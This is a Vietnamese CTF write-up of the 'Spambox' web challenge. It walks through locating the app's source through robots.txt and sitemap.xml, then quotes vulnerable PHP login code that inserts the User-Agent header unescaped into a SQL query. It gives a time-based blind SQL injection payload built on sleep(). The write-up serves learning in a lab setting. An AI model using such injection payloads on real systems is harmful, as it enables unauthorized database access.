[UIT Fall Major] Spambox – Web 300

Challenge: http://42.116.11.22:5002/spam

Nhìn vào đề ta chả thấy gì cả ngoài 2 function login và register, dĩ nhiên là reg một nick và login vào thử xem có thể làm được những gì. Sau hàng giờ fuzzing đau khổ thì biết mình đã dính trap, không làm được gì trong spambox cả.

Và như một lẽ tự nhiên khi quá bí thì đành phải đi fuzz các file có sẵn trên server :3

robots.txt > OK

User-agent: *
Disallow: /
Disallow: /*.xml

well, tại sao lại Disallow /*.xml ? tại sao lại CHẶN? có bí ẩn nào muốn che giấu không cho scan ra đây =]]

Ok giấu thì mình tìm, google tìm các file xml hay có trên server, sau một hồi loay hoay thì mình cũng tìm được nó: sitemap.xml

Lỗi gì đây :/, view-source thì bạn sẽ thấy được vô khối url short link, nhân dịp hồi matesctf có 1 bài cũng như vậy nên mình nghĩ tới hướng chắc sẽ có 1 link đúng, và….. Tsu was right!

1 trong những link đó đã dẫn tới củ lạc này:
https://github.com/trichimtrich/spambox

Down source về, xong step 1 !

Step 2 sẽ liên quan đến vấn đề trace source, mình thì đọc source nhiều đến phát ngán rồi nên nhìn vào phát là ra luôn, lỗi ở trang login.php

if (isset($_POST[‘name’]) && isset($_POST[‘pass’]))
{
$name = mysql_real_escape_string($_POST[‘name’]);
$pass = md5($_POST[‘pass’]);

$result = mysql_query(“SELECT * FROM users WHERE uname=’$name’ and pass=’$pass'”);
if (mysql_num_rows($result)==1)
{
$row = mysql_fetch_array($result);
$result = mysql_query(“INSERT INTO log (uid, agent, cdate) VALUES ({$row[‘uid’]}, ‘{$_SERVER[‘HTTP_USER_AGENT’]}’, NOW()) “);
if ($result)
{
$_SESSION[‘user’] = (int)$row[‘uid’];
header(“Location: spam.php”);
}
else
$status = “Something gone wrong!”;
}
else
$status = “Lolz, plz reg acc spammer!”;
}

Như bạn đã thấy, name thì bị filter bằng mysql_real_escape_string, pass thì bị md5 => không thể inject vào 2 chỗ này được, nhìn sơ qua thì thấy 1 câu query rất là ba chấm:
$result = mysql_query("INSERT INTO log (uid, agent, cdate) VALUES ({$row['uid']}, '{$_SERVER['HTTP_USER_AGENT']}', NOW()) ");

HTTP_USER_AGENT =]]]]]]] there you’re!, có query, có biến modify không bị filter, eziest sqli in my life confirmed:

Payload:
USER_AGENT= 2′,if(1=1,sleep(10),’a’))– –
câu query sẽ trở thành
INSERT INTO log (uid, agent, cdate) VALUES (xx, ‘2’,if(1=1,sleep(10),’a’))– – ‘, NOW()) “)
giơ ngón tay ra đếm, 1..2..3..4..5….lâu quá…7…8…9….10…bingo!

Thay 1=1 bằng bất cứ thứ gì bạn muốn blind 🙂

Bump!
UITCTF{injection_is_easy_with_source_code}

2 thoughts on “[UIT Fall Major] Spambox – Web 300

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s